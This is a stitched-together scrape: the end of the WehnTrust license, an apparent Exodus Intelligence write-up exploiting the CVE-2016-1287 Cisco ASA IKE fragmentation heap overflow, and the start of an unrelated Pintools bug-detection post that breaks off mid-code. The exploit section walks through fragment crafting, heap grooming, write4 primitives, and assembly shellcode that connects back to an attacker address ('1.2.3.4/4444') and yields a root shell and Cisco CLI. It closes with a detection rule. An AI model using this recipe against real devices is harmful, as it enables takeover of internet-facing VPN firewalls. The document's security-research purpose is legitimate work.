modification of the Software itself. d. "Licensor" means the then-current
copyright holder\(s\) of the Software, including, but not limited to, Wehnus
LLC and any third-party contributors \(or their successor\(s\) or
transferee\(s\)\). e. "Documentation" means any and all end user,
technical/programmer, network administrator, or other manuals, tutorials, or
code samples provided or offered by Licensor with the Software, excluding
those items created by someone other than the Licensor. f. "Use" means to
download, install, access, copy, execute, sell, or otherwise benefit from the
Software \(directly or indirectly, with or without notice or knowledge of the
Software's incorporation or utilization in any larger application or
product\). g. "You" means the individual or organization that is using the
Software under the License. h. "Interface" means to execute, parse, or
otherwise benefit from the use of the Software. License Grant and Restrictions
1\. Provided that You agree to, and do, comply with all terms and conditions
in this License, You are granted the non-exclusive rights specified in this
License. Your Use of any of the Software in any form and to any extent
signifies acceptance of this License. If You do not agree to all of these
terms and conditions, then do not use the Software and immediately remove all
copies of the Software, the Documentation, and any other items provided under
the License. 2\. Subject to the terms and conditions of this License, Licensor
hereby grants You a worldwide, royalty-free, non-exclusive license to
reproduce, publicly display, and publicly perform the Software. 3\. The
license granted in Section 2 is expressly made subject to and limited by the
following restrictions: a. You may only distribute, publicly display, and
publicly perform unmodified Software. Without limiting the foregoing, You
agree to maintain \(and not supplement, remove, or modify\) the same
copyright, trademark notices and disclaimers in the exact wording as released
by Licensor. b. You may only distribute the Software free from any charge
beyond the reasonable costs of data transfer or storage media. You may -not-
\(i\) sell, lease, rent, or otherwise charge for the Software, \(ii\) include
any component or subset of the Software in any commercial application or
product, or \(iii\) sell, lease, rent, or otherwise charge for any appliance
\(i.e., hardware, peripheral, personal digital device, or other electronic
product\) that includes any component or subset of the Software. 4\. You may
develop Enhancements to the Software and distribute Your Enhancements,
provided that You agree to each of the following restrictions on this
distribution: a. Enhancements may not modify, supplement, or obscure the user
interface or output of the Software such that the title of the Software, the
copyrights and trademark notices in the Software, or the licensing terms of
the Software are removed, hidden, or made less likely to be discovered or
read. b. If you release any Enhancement to the Software, You agree to
distribute the Enhancement under the terms of this License \(or any other
later-issued license\(s\) of Licensor for the Software\). Upon such release,
You hereby grant and agree to grant a non-exclusive royalty-free right, to
both \(i\) Licensor and \(ii\) any of Licensor's later licensees, owners,
contributors, agents or business partners, to distribute Your Enhancement\(s\)
with future versions of the Software provided that such versions remain
available under the terms of this License \(or any other later-adopted
license\(s\) of Licensor\). Proper Use As an express condition of this
License, You agree that You will use the Software -solely- in compliance with
all then-applicable local, state, national, and international laws, rules and
regulations as may be amended or supplemented from time to time, including any
then-current laws and/or regulations regarding the transmission and/or
encryption of technical data exported from or imported into Your country of
residence. Violation of any of the foregoing will result in immediate,
automatic termination of this License without notice, and may subject You to
state, national and/or international penalties and other legal consequences.
Intellectual Property Ownership The Software is licensed, not sold. Licensor
retains exclusive ownership of all worldwide copyrights, trade secrets,
patents, and all other intellectual property rights throughout the world and
all applications and registrations therefor, in and to the Software and any
full or partial copies thereof, including any additions thereto. You
acknowledge that, except for the limited license rights expressly provided in
this Agreement, no right, title, or interest to the intellectual property in
the Software or Documentation is provided to You, and that You do not obtain
any rights, express or implied, in the Software. All rights in and to the
Software not expressly granted to You in this Agreement are expressly reserved
by Licensor. Product names, words or phrases mentioned in this License or the
Software may be trademark\(s\) or servicemark\(s\) of Licensor registered in
certain nations and/or of third parties. You may not alter or supplement the
copyright or trademark notices as contained in the Software. License
Termination This License is effective until terminated. This License will
terminate immediately without notice from Licensor if You breach or fail to
comply with any provision of this License. Upon such termination You must
destroy the Software, all accompanying written materials, and all copies
thereof. Limitations of Liability In no event will Licensor, any owner,
contributor, agent, business party, or other third party affiliated with
Licensor, be liable to You or any third party under any legal theory
\(including contract, tort, or otherwise\) for any consequential, incidental,
indirect or special damages whatsoever \(including, without limitation, loss
of expected savings, loss of confidential information, presence of viruses,
damages for loss of profits, business interruption, loss of business
information and the like or otherwise\) or any related expense whether
foreseeable or not, arising out of the use of or inability to use or any
failure of the Software or accompanying materials, regardless of the basis of
the claim and even if Licensor or Licensor's owner, contributor, agent, or
business partner has been advised of the possibility of such damage. By using
the Software, You hereby acknowledge that Licensor would not offer the
Software without the inclusion and enforceability of this provision, and that
You \(and not the Licensor\) are solely responsible for Your network, data,
and application security testing, planning, audits, updates, and training,
which require regular analysis, supplementing, and expertise. No Warranty The
Software and this License document are provided AS IS with NO WARRANTY OF ANY
KIND, WHETHER EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT
LIMITATION, THE WARRANTY OF DESIGN, MERCHANTABILITY, TITLE, NON-INFRINGEMENT,
OR FITNESS FOR A PARTICULAR PURPOSE. Indemnification You agree to indemnify,
hold harmless, and defend Licensor and Licensor's owners, contributors,
agents, and business partners from and against any and all claims or actions
including reasonable legal expenses that arise or result from Your use of or
inability to use the Software. Licensor agrees to notify You and reasonably
cooperate with Your defense of any third party claim triggering such
indemnification. Miscellaneous If any part of this License is found void and
unenforceable, it will not affect the validity of the balance of this License,
which shall remain valid and enforceable to the maximum extent according to
its terms. Choice of Law; Venue Any action or suit relating to this License
may be brought only in the courts of a jurisdiction wherein the Licensor
resides or in which Licensor conducts its primary business, and under the laws
of that jurisdiction excluding its conflict-of-law provisions. The application
of the United Nations Convention on Contracts for the International Sale of
Goods is expressly excluded. Any use of the Original Work outside the scope of
this License or after its termination shall be subject to the requirements and
penalties of copyright or patent law in the appropriate jurisdiction. This
section shall survive the termination of this License.

### Release Notes

WehnTrust 1.2  
---

# Execute My Packet | Exodus Intelligence
**Created:**| _2/11/2016 10:08:13 AM_  
---|---  
**Updated:**| _2/11/2016 10:08:13 AM_  
**Author:**| __  
**Tags:**| __  
  

## Contributors

David Barksdale, Jordan Gruskovnjak, and Alex Wheeler

## 1\. Background

Cisco has issued a fix to address CVE-2016-1287. The Cisco ASA Adaptive
Security Appliance is an IP router that acts as an application-aware firewall,
network antivirus, intrusion prevention system, and virtual private network
\(VPN\) server. It is advertised as “the industry’s most deployed stateful
firewall.” When deployed as a VPN, the device is accessible from the Internet
and provides access to a company’s internal networks.

## 2\. Summary

The algorithm for re-assembling IKE payloads fragmented with the Cisco
fragmentation protocol contains a bounds-checking flaw that allows a heap
buffer to be overflowed with attacker-controlled data. A sequence of payloads
with carefully chosen parameters causes a buffer of insufficient size to be
allocated in the heap which is then overflowed when fragment payloads are
copied into the buffer. Attackers can use this vulnerability to execute
arbitrary code on affected devices. This flaw affects IKE versions 1 and 2,
but this post will focus on specifics related to version 2.

#### Background on Cisco’s IKE Fragmentation Implementation

The Cisco IKE fragmentation protocol splits large IKE payloads into fragments,
each with the header illustrated in Figure 1.

<img src='img/Temp2_2815.png' width='300' height='111' alt='Cisco IKE
fragment' />

Figure 1: Cisco IKE fragment header

Each fragment is sent to the recipient as an IKE packet with a payload of type
132. When a payload is fragmented a _fragment ID_ is chosen larger than any
previous ID to identify the fragment’s reassembly queue. For any reassembly
queue all the fragments are the same _length_ , except for possibly the last
fragment _._ Each fragment is assigned a _sequence number_ starting with 1.
The last fragment is identified by a value of 1 in the _last fragment_ field.
The _next payload_ field contains the payload type that was fragmented.

## 3\. Vulnerability

Each fragment triggers processing by two key functions:
_ikev2\_add\_rcv\_frag\(\)_ and _ikev2\_reassemble\_pkt\(\)_. The first parses
the fragment and maintains fragment reassembly queues. The second checks the
queues and performs reassembly when all the fragments have arrived. The second
function is called after each fragment is received and only acts when the
number of fragments in the reassembly queue matches the sequence number of the
fragment with the _last fragment_ flag set.

Below is a snippet of code from _ikev2\_add\_rcv\_frag\(\)_ showing the length
check and the calculation for updating the reassembly queue length.

<img src='img/Temp2_2807.png' width='967' height='166'
alt='ikev2_add_rcv_frag() - lina version 9.2.4' />

Figure 2:_ikev2\_add\_rcv\_frag\(\)_ from lina version 9.2.4

While the Cisco fragment length field is 16 bits, Cisco limits queues to of
half that size. The check in the code above is performed before a fragment is
queued. The following are important items to note for this code snippet.

  * The bounds calculation involves a signed check for a maximum value, but no minimum value.
  * The fragment is assumed to be at least as large as the fragment header, 8 bytes.
  * The total length of the queue only accounts for the payload size, i.e., the header length is subtracted from each fragment before updating the queue’s size for reassembly.

An understanding of the above issues is useful when examining the reassembly
for the fragments. The code for reassembly is large, but a relevant snippet
from _ikev2\_reassemble\_pkt\(\)_ is illustrated in Figure 3 for discussion.

<img src='img/Temp2_2817.png' width='1011' height='787'
alt='ikev2_reassemble_pkt() from lina 9.2.4' />

Figure 3: _ikev2\_reassemble\_pkt\(\)_ from lina 9.2.4

The call to _my\_malloc\(\)_ is passed the queue length plus a header size.
There are several ways to attack this code. The most basic way to attack this
code is to create a reassembly queue where one of the fragments has a length
less than the default fragment header size of 8 bytes, which underflows the
copy length during reassembly. This small value allows the length check
\(signed\) in _ikev2\_add\_rcv\_frag\(\)_ to be passed and the copy length to
be larger \(underflowed\) than the allocated buffer size of: reassembly queue
length + 8 in  _ikev2\_reassemble\_pkt\(\)._

## 4\. Exploitation

After having successfully crafted fragments with length less than 8, the
corruption happens during the fragments reassembly. However, the corruption
cannot be used as-is beyond a DoS due to the negative copy \(access
violation\). Several steps are discussed below to use the vulnerability to
obtain remote code execution.

#### Crafting Small Fragments

Crafting small fragments \(length < 8\) can be accomplished by padding the
fragment with valid information past where the fragment should end. For
example, even though a fragment of length 1 should not have a size or sequence
number, these fields still need valid values. Other fields that are not
checked can be padded with random values.

#### Avoiding the Negative Copy

In order to get remote code execution the negative copy should be avoided. In
the interest of brevity we’ll explain the logic and exploitation of it without
including the relevant disassembly. Fragments are queued by fragment ID and
reassembled using sequence number. All fragments other than the last fragment
should have the same size. The following pieces of program logic can be abused
to send a sequence of fragments to avoid the negative copy.

  1. When processing a fragment with a fragment ID different than the previous ones, the previous ones are cleared from the reassembly queue and the new one is added, but the previous fragment size is not cleared \(reinitialization flaw\);
  2. Fragments with a sequence number of 0 can be added to reassembly queues without having their payloads processed, because the reassembly starts with sequence number 1, but their sizes are still included in the total reassembly size calculation \(logic flaw\);
  3. Multiple fragments with the last fragment bit can be added to a reassembly queue by using the check for sequence number 0 \(logic flaw\); and
  4. Fragments with sequence numbers after a gap in the sequence numbers will not have their payloads processed, but their sizes are still included in the total reassembly size calculation \(input validation flaw\).

Given the above, the following sequence of fragments can be sent to avoid the
negative copy.

  * Fragment with ID Y, last fragment bit not set, and size N is sent to set the previous size even though this fragment will be cleared from the queue
  * Fragment with ID Z, sequence number 0, size 1, and last fragment bit set is sent to clear previous fragment
  * Fragment with ID Z, sequence number 3, size 1, and last fragment bit set
  * Fragment with ID Z, sequence number 1, size N, and the last fragment bit clear is sent

The above sequence yields the reassembly queue where fragments with sequence
numbers 0 and 3 are not reassembled, but each result in -7 being added to the
reassembly queue length. Fragment with sequence number 1 is the only one that
will be reassembled and N – 8 bytes will be copied from the payload, thus
avoiding the negative copy.

#### Cisco Heap Layout

Some insight of the Cisco heap layout is needed in order to decide what can be
achieved with the current memory corruption. The Cisco ASA heap is based on a
Doug Lea _malloc\(\)_ implementation. The Cisco heap appends a header and a
footer to the classic dlmalloc chunk. The headers and footers add extra
information for memory integrity and debugging/troubleshooting purposes. An
allocated chunk layout is described below.

\(gdb\) x/70wx 0xccedf970 – 0x28

0xccedf948: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d0

0xccedf958: 0x00000000 0x00000000 0xccedf818 0xccedfa88

0xccedf968: 0x0875ba64 0xe10deaf4 0x41414141 0x41414141

0xccedf978: 0x41414141 0x41414141 0x41414141 0x41414141

0xccedfa28: 0x41414141 0x41414141 0x41414141 0x41414141

…snip…

0xccedfa28: 0x41414141 0x41414141 0x41414141 0x41414141

0xccedfa38: 0x41414141 0x41414141 0xa11ccdef 0xb2ea5e5b

The first 0x28 bytes \(in green\) are part of the heap header, the 2 last
dwords \(in blue\) belong to the heap footer. The relevant header’s fields
from an exploitation perspective are:

  * offset 0x00: Header magic
  * offset 0x04: Size to next block + 3 bits extra information \(bit 1: previous block in use / bit 2: Current block in use\)
  * offset 0x08: 2nd header magic
  * offset 0x0c: Size of chunk data
  * offset 0x18: “prev” pointer to linked list of allocated chunk of the same size
  * offset 0x1C: “next” pointer to linked list of allocated chunk of the same size

A freed chunk layout is as follows:

\(gdb\) x/70wx 0xccedf970 – 0x28

0xccedf948: 0xe100d4d0 0x00000101 0xccedf948 0xccedf948

0xccedf958: 0x00000000 0x00000000 0xc8000134 0x00000000

0xccedf968: 0xf3ee0123 0x0877e5bf 0x41414141 0x41414141

0xccedf978: 0x41414141 0x41414141 0x41414141 0x41414141

…snip…

0xccedfa28: 0x41414141 0x41414141 0x41414141 0x41414141

0xccedfa38: 0x41414141 0x41414141 0x5ee33210 0xf3eecdef

Similarly, a freed chunk layout is described below.

  * offset 0x00: Header magic
  * offset 0x04: Size to next block + 3 bits extra information \(bit 1: previous block in use / bit 2: Current block in use\)
  * offset 0x08: “prev” pointer to linked list of freed chunks of the same size
  * offset 0x0C: “next” pointer to linked list of freed chunks of the same size
  * offset 0x18: “prev” pointer to linked list of allocated chunk of the same size
  * offset 0x1C: “next” pointer to linked list of allocated chunk of the same size

The vulnerable block of size 0xd3 \(size used for our exploit, which will make
sense later in this post\) allocated in the _ikev2\_get\_assembled\_pkt\(\)_
looks as follows:

\(gdb\) x/70wx 0xcbf3d1a8 – 0x28

0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3

0xcbf3d190: 0x00000000 0x00000000 0xcbf3d2b8 0xc80005e4

0xcbf3d1a0: 0x08767b39 0x0877dddc 0x000000cb 0x41414141

0xcbf3d1b0: 0x41414141 0x41414141 0x41414141 0x41414141

…snip…

0xcbf3d260: 0x41414141 0x41414141 0x41414141 0x41414141

0xcbf3d270: 0x41414141 0x41414141 0xef000000 0x00a11ccd

With the Cisco layout in mind, let’s look at what is located behind the
vulnerable chunk:

\(gdb\) x/70wx 0xcbf3d1a8 – 0x28

0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3

0xcbf3d190: 0x00000000 0x00000000 0xcbf3d2b8 0xc80005e4

0xcbf3d1a0: 0x08767b39 0x0877dddc 0x000000cb 0x41414141

0xcbf3d1b0: 0x41414141 0x41414141 0x41414141 0x41414141

…snip…

0xcbf3d260: 0x41414141 0x41414141 0x41414141 0x41414141

0xcbf3d270: 0x41414141 0x41414141 0xef000000 0x00a11ccd

0xcbf3d280: 0xe100d4d0 0x00000031 // adjacent chunk header’s first two dwords.

The first dword of the vulnerable chunk’s data \(in red\) is reserved for the
total size \(0xcb\) of the fragment data being copied. The last 2 dwords are
respectively the header magic and the chunk size of the adjacent 0x30 bytes
freed chunk. With a copy of 0xd3 bytes, the fields in red will be corrupted:

\(gdb\) x/70wx 0xcbf3d1a8 – 0x28

0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3

0xcbf3d190: 0x00000000 0x00000000 0xcbf3d2b8 0xc80005e4

0xcbf3d1a0: 0x08767b39 0x0877dddc 0x000000cb 0x41414141

0xcbf3d1b0: 0x41414141 0x41414141 0x41414141 0x41414141

…snip…

0xcbf3d260: 0x41414141 0x41414141 0x41414141 0x41414141

0xcbf3d270: 0x41414141 0x41414141 0xef000000 0x00a11ccd

0xcbf3d280: 0xe100d4d0 0x00000031

In the end, the magic from the next chunk’s heap header is corrupted, and
eventually 1 byte of the next chunk size field can be corrupted. This means
that given a correctly crafted heap layout, it is possible to insert a chunk
into a freelist reserved for bigger chunks. The attacker can then claim this
chunk with another packet and completely corrupt memory overlapped by the fake
bigger chunk as will be explained below.

#### Crafting the Heap

In order to be able to achieve interesting things, the attacker has to set the
heap in a predictable layout. For that, the
_ikev2\_parse\_config\_payload\(\)_ function has been used. This function is
reached when IKEv2 packets are sent with a Configuration Payload \(type 47\).
The layout of these packets is illustrated in Figure 4.

<img src='img/Temp2_2809.png' width='300' height='157' alt='ike config
payload' />

Figure 4: IKEv2 config payload packet

The IKE v2 Configuration Payload field descriptions are as follows:

  * CFG Type \(1 octet\) – The type of exchange represented by the Configuration Attributes.
  * RESERVED \(3 octets\)
  * Configuration Attributes \(variable length\)

The Configuration Attributes field is of variable length and allows specifying
multiple attributes. The Configuration Attributes are illustrated in Figure 5.

<img src='img/Temp2_2808.png' width='300' height='119' alt='IKEv2
Configuration Attributes' />

Figure 5: IKEv2 Configuration Attributes

The IKEv2 Configuration Attributes field descriptions are as follows:

  * Reserved \(1 bit\) ⋄ Attribute Type \(15 bits\) – A unique identifier for each of the Configuration Attribute Types.
  * Length \(2 octets\) – Length in octets of value.
  * Value \(0 or more octets\) – The variable-length value of this Configuration Attribute

This will allow the attacker to allocate chunks of arbitrary size with
controlled content as after analysing _ikev2\_parse\_config\_payload\(\)_ in
Figure 6.

<img src='img/Temp2_2812.png' width='1047' height='941' alt='Figure 6:
ikev2_parse_config_payload()' />

Figure 6: _ikev2\_parse\_config\_payload\(\)_ lina 9.2.4

This controlled allocation will allow de-fragmenting the heap and achieving
the following heap layout below:

<img src='img/Temp2_2811.png' width='538' height='88' alt='Figure 7:' />

A Configuration Attributes List packet is sent to the router in order to de-
fragment the heap, and get further allocations to be contiguous to one
another. A fragment of size 0x100 bytes is then sent. Each time the IKEv2
daemon receives a packet it will allocate 0x100 bytes to handle the packet
data. This means that a 0x100 bytes chunk will be allocated as below:

<img src='img/Temp2_2806.png' width='183' height='87' alt='Figure 8:' />

The fragment of 0x100 bytes will then be allocated next to it:

<img src='img/Temp2_2816.png' width='369' height='86' alt='3' />

After the packet is processed, the first 0x100 byte block is freed since its
of not in use any longer, leaving a hole between the de-fragmented heap and
the 0x100 bytes attacker fragment:

<img src='img/Temp2_2814.png' width='372' height='89' alt='4' />

The last fragment of size -7 \(with effective size being 0x108 bytes\)
triggering the overflow is then sent. A 0x100 bytes chunk is allocated to
handle the packet, retrieving the 0x100 bytes chunk that has been previously
freed:

<img src='img/Temp2_2813.png' width='369' height='87' alt='5' />

Since the actual packet data is bigger than 0x100, a chunk of size 0x300 is
allocated in order to contain all the UDP fragment data, ending freeing the
previously allocated 0x100 bytes chunk. The heap then looks as follows:

<img src='img/Temp2_2810.png' width='542' height='92' alt='6' />

A 0x100 bytes hole is then located right before the attacker controlled
fragment. _ikev2\_get\_assembled\_pkt\(\)_ will then allocate the vulnerable
chunk of 0xd3 size. A chunk of size 0xd0 \(because some footer data are used
to contain the extra 3 bytes\) is returned. Since the heap is de-fragmented,
no free chunk is available to handle the request. The 0x100 bytes free block
is then split into two block of 0xd0 and 0x30, giving the following heap
layout:

<img src='img/Temp2_2818.png' width='707' height='92' alt='7' />

The vulnerable _my\_memcpy\(\)_ call is then reached and ends up corrupting
the “size” field of the adjacent 0x30 bytes free chunk. Arbitrary adjacent
chunk “size” field corruption has been achieved.

The corrupted freed 0x30 bytes chunk of the previous sections now looks as
follows:

0xcbf3d280: 0xe100d4d0 0x00000061 0xc9109b08 0xc800005c

0xcbf3d290: 0xf3ee0123 0x00000000 0x00000000 0x00000000

0xcbf3d2a0: 0x00000000 0x00000000 0x5ee33210 0xf3eecdef

Note the size field \(red\) is now 0x61 instead of 0x31. The heap manager will
now look for the next chunk, not 0x30 bytes further, but 0x60 bytes \(0x61
means 0x60 byte size + previous chunk in use bit set\), ending up looking into
the attacker’s fragment data. Since the fragment’s data is controlled, a fake
heap chunk can be crafted. The 0x60 bytes freed chunk now encompasses a part
of the attacker’s fragment chunk’s heap header. The fake heap metadata of the
next chunk, just shrinks the size of the fragment to 0x100 bytes to conserve
the heap integrity and allow the heap manager to locate the chunk adjacent to
the fragment. The heap will then look as follows:

\(gdb\) x/100wx 0xcbf3d1a8 – 0x28

// Vulnerable chunk

0xcbf3d180: 0xe100d4d0 0x00000103 0xa11c0123 0x000000d3

0xcbf3d190: 0x00000000 0x00000000 0xc8000134 0x00000000

0xcbf3d1a0: 0xf3ee0123 0x0877cbcb 0x000000cb 0x41414141

…snip…

0xcbf3d270: 0x41414141 0x41414141 0x10000000 0x005ee332

// 0x60 bytes fake chunk

0xcbf3d280: 0xe100d4d0 0x00000061 0xc9109b08 0xc800005c

0xcbf3d290: 0xf3ee0123 0x00000000 0x00000000 0x00000000

0xcbf3d2a0: 0x00000000 0x00000000 0x5ee33210 0xf3eecdef

0xcbf3d2b0: 0x00000030 0x00000132 0xa11c0123 0x00000100

0xcbf3d2c0: 0x00000000 0x00000000 0xcbf3d088 0xc80005e4

0xcbf3d2d0: 0x08768ca9 0x41414141 0x00010000 0xf3eecdef

// Fake header in attacker’s fragment’s data

0xcbf3d2e0: 0x00000160 0x00000102 0xa11c0123 0x000000e0

0xcbf3d2f0: 0x41414141 0x41414141 0x41414141 0x41414141

0xcbf3d300: 0x41414141 0x41414141 0x41414141 0x41414141

The copy loop in  _ikev2\_get\_assembled\_pkt\(\)_ is exited due to not
finding fragment sequence number 2 and the vulnerable 0xd0 sized heap chunk is
freed later in the same function. The allocator will look for freed chunks
before and after the vulnerable chunk in order to perform forward and backward
coalescing. If the “size” field of the 0x30 bytes chunk wasn’t tampered with,
the allocator would have backward coalesced the 0xd0 chunk with the 0x30 bytes
chunk leading to the insertion of a 0x100 bytes chunk into the freelist.
However since the “size” field is set to 0x60 bytes, a fake chunk of 0x130
bytes will be inserted into the freelist. The fake 0x130 bytes chunk will
encompass the beginning of the adjacent 0x100 bytes block controlled by the
attacker.

#### Getting Control

The attacker can now reallocate this block by sending a Configuration
Attributes List packet with a bunch of Configuration Attributes of size 0x130.
The 0x130 byte chunk will eventually be retrieved, corrupting the header of
the attacker’s 0x100 bytes fragment chunk. As explained in the Cisco Heap
Layout section, the heap header contains prev and next pointers of previous
and next free chunk, whose integrity is not enforced because of the lack of
safe-unlinking code. This means that an arbitrary write4 primitive can be
achieved during the coalescing of the corrupted chunk. This write4 primitive
will be triggered by the attacker at any time by sending a fragment with a
different size. When this happens,  _ikev2\_add\_rcv\_frag\(\)_ is entered and
proceeds to free fragments in the linked list. The corrupted fragment will
eventually be freed, triggering the write4 memory corruption. One prerequisite
for the write4 technique to work is that both prev and next pointers points to
writeable data. This means it is not possible to overwrite a function pointers
with an address to some .text section to bootstrap a ROP chain. Fortunately
the whole memory is executable and there is no ASLR.

The targeted function pointer is the pointer used to add a fragment to the
linked list, which will be called right after the write4 corruption to add the
new fragment in the linked list inside _ikev2\_add\_rcv\_frag\(\)._ The
execution flow can then be redirected to an arbitrary writable address in
memory. The problem here is the lack of knowledge of the location of
attacker’s controlled data at a specific address. To get around this problem,
a 2nd write4 corruption will be used during the vulnerable chunk liberation.
This is done by targeting other linked list pointers present in the heap
header, which are used to keep track of allocated blocks of the same size. The
2nd write4 corruption will be used to craft a fake ROP gadget in memory. The
following values were chosen as prev and next pointers for the 2nd write4
corruption: 0xc8002000 and 0xc821ff90 This means that during the 2nd write4
corruption the value 0xc821ff90 will be copied at address 0xc8002000. This
address will eventually translate into useful bytecode \(nop; jmp dword
ptr\[ecx\]\).

The attacker now has a gadget at a know location in writeable memory. The
pointers used in the 1st write4 corruption are then set so as to overwrite the
targeted function pointer with the address 0xc8002000 containing the ROP
gadget. When the control flow is redirected, the program will land at address
0xc8002000 and execute the jmp \[ecx\] instruction. As can be seen in code
snippet above, the ECX register holds a pointer to the newly allocated
fragment containing data controlled by the attacker. Arbitrary code execution
has been achieved.

#### Cleanup

Since the Cisco router reboots if the lina process crashes, the heap has to be
fixed in order to be able to get a reverse shell back to the attacker. In
order to fix the memory, pointers from the context object located in a local
stack variable, pointing to the option list linked list, are followed. By
following the next pointer of the linked list and checking some values, it is
possible to locate the 0x130 byte chunk used to perform the memory corruption.
When it’s located its header is set to 0xd0 and the adjacent 0x60 size field
is set back to 0x30 bytes. The following is our process continuation
shellcode.

0xccc54fc1: mov DWORD PTR \[edx\],0x9b96790 ; fix corrupted function pointer

0xccc54fc7: mov eax,DWORD PTR \[ebp-0x8\] ; retrieve structure in stack

0xccc54fca: mov eax,DWORD PTR \[eax+0x5c\]

0xccc54fcd: mov eax,DWORD PTR \[eax+0x4\]

0xccc54fd0: mov eax,DWORD PTR \[eax+0x8\]

0xccc54fd3: mov eax,DWORD PTR \[eax+0x4\]

0xccc54fd6: mov eax,DWORD PTR \[eax\] ; go to the “next” linked list element

0xccc54fd8: test eax,eax

0xccc54fda: je 0xccc55017

0xccc54fdc: push eax

0xccc54fdd: mov eax,DWORD PTR \[eax+0x8\] ; follow some more pointers

0xccc54fe0: mov eax,DWORD PTR \[eax+0x4\]

0xccc54fe3: lea ebx,\[eax+0xd8\] ; set ebx to the beginning of the corrupted
chunk

0xccc54fe9: pop eax

0xccc54fea: cmp DWORD PTR \[ebx\],0xe100d4d0 ; ensure we are have the right
chunk

0xccc54ff0: jne 0xccc54fd6

0xccc54ff2: cmp DWORD PTR \[ebx+0x4\],0x31 ; Another check

0xccc54ff6: je 0xccc54fd6

0xccc54ff8: mov eax,ebx

0xccc54ffa: sub eax,0x100 ; Point eax to the beginning of the vulnerable chunk

0xccc54fff: mov DWORD PTR \[eax+0x4\],0x103 ; Fix heap metadata

0xccc55006: mov DWORD PTR \[eax+0xc\],0xd0

0xccc5500d: mov DWORD PTR \[eax+0xf8\],0xa11ccdef

The shellcode fixes the corrupted pointer used to take control of the
execution flow. Then it retrieves a local variable which holds pointers to the
linked list of Configuration Attributes. By following the linked list and
enforcing specific values, the shellcode is able to locate the corrupted chunk
in memory, and fix its heap metadata to prevent the process from crashing when
the chunk is later freed. Then the real payload is executed which will be
addressed in the next section.

#### Cisco ASA Shellcode

It’s necessary to use several functions of the lina binary to get a reverse
shell or Cisco CLI. It is not possible to use a classic connect-back shellcode
because the only network device available is the tap device. The lina binary
is responsible for the handling of TCP, UDP, e.g connections, acting as a kind
of user-land network driver. Cisco uses the “channel” terminology to handle
network connections. Since the shellcodes are too big for this post only the
general behaviour will be explained here.

Since the IKEv2 Daemon is actually a thread of the lina process, the shellcode
starts by spawning a new thread for the Cisco CLI by calling
_process\_create\(\)_ and allows the IKEv2 daemon to continue to do its job.
Then the daemon allocates a TCP channel connecting back to the attacker’s IP
address/port by calling _alloc\_ch\(\):_

push eax ; Points to string “tcp/CONNECT/3/1.2.3.4/4444”

mov eax, 0x80707f0 ; call alloc\_ch\(\)

call eax

The shellcode then sets the channel as responsible for the I/O on
stdin/stdout/stderr:

; Set channel as in/out channel for ci/console

mov esi, 0xffffefc8

mov eax, dword ptr gs:\[esi\]

mov dword ptr \[eax + 0x98\], ebx ; Points to allocated channel

Then, a structure responsible for the user privileges is allocated, and its
privileges are set to 15 \(maximum cisco privileges\):

mov eax, 0x080F0A80 ; Initialize privileges structure given as parameter

call eax

; Retrieve struct

pop ebx

; Give me full privileges and a cool ‘\#’ prompt

mov dword ptr \[ebx + 0xc\], 0x17ffffff ; Give full privileges

add ebx, 0x14

; Set “enable\_15” username

mov dword ptr \[ebx\], 0x62616e65

mov dword ptr \[ebx + 4\], 0x315f656c

mov dword ptr \[ebx + 0x8\], 0x00000035

Finally the shellcode proceeds to call the _ci\_cons\_shell\(\)_ in order to
spawn the Cisco CLI back to the attacker’s computer:

push 0x4

push 0x0a52c160 ; some function

mov eax, 0x080F6820 ; ci\_cons\_shell

call eax

Which gives the following result:

Type help or ‘?’ for a list of available commands.

ciscoasa\# show running-config enable

show running-config enable

enable password 8Ry2YjIyt7RRXU24 encrypted

ciscoasa\#

The reverse shell is trickier to get and ironically probably not as useful as
the Cisco CLI. It then enables a hidden SOCKSv5 proxy in the lina process, by
calling a function which has been dubbed _start\_loopback\_proxy\(\)_. It is
now possible to use classic sockets by connecting to the local SOCKSv5 and
telling it to connect-back to the attacker computer. Since the SOCKSv5
protocol is not really complicated this is easily done in assembly. The
shellcode then proceeds as a classic connect-back shellcode, by dup2\(\)ing
the socket with stdin/stdout/stderr and execve\(\)ing “/bin/sh”:

/bin/sh: can’t access tty; job control turned off

\# id

uid=0\(root\) gid=0\(root\)

## 5\. Detection

Looking for the value of the length field of a Fragment Payload \(type 132\)
IKEv2 or IKEv1 packet allows detecting an exploitation attempt. Any length
field with a value < 8 must be considered as an attempt to exploit the
vulnerability. The detection also has to deal with the fact that the multiple
payloads can be chained inside an IKEv2 packet, and that the Fragment Payload
may not be the only/first payload of the packet.

# Reversing on Windows: Using Pintools to Detect Bugs

**Created:**| _7/30/2013 8:06:57 AM_  
---|---  
**Updated:**| _7/30/2013 8:06:57 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation bughunting_  
  

# Using Pintools to Detect Bugs****

Recently I spent some time to get into Pin and to explore how feasible to
write Pin-based tools to detect programming errors**.** Here is the summary of
my experiment. I think it could be useful for someone who might want to write
Pintools**.**  
  
I had been thinking of dynamic ways to catch programming error without making
the detection logic complex**.** My decision was to write a tool that can
detect division by zero errors when the division is performed by a function
argument**.** The tool works as follows.  
  
The tool inspects division instructions that are reading stack via `EBP`**.**

> ` if (INS_Opcode(ins) == XED_ICLASS_IDIV || INS_Opcode(ins) ==
> XED_ICLASS_DIV)  
>  {  
> [..**.**]  
>  if (INS_IsStackRead(ins) && INS_RegRContain(ins, REG_EBP) &&
> INS_IsMemoryRead(ins))  
>  {  
>  INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)TrackDivisionByArg,
> IARG_INST_PTR, IARG_MEMORYREAD_EA, IARG_REG_VALUE, REG_EBP, IARG_END);  
>  }`
Since the function arguments are stored at `EBP+XX` it's possible to detect
when a division is performed by a function argument**.**

> ` VOID TrackDivisionByArg(ADDRINT inst_ptr, ADDRINT memoryread_ea, ADDRINT
> reg_ebp)  
> {  
>  // Do we read argument of the function (EBP+XX)**?**  
>  if (memoryread_ea >= reg_ebp)  
>  {  
> [..**.**]`
However, this doesn't mean there is a division by zero error because there
might be a test for zero**.** To filter out obvious false positives the tool
inspects if the parameter is accessed before the division**.**

> ` else if ((INS_Opcode(ins) == XED_ICLASS_CMP || INS_Opcode(ins) ==
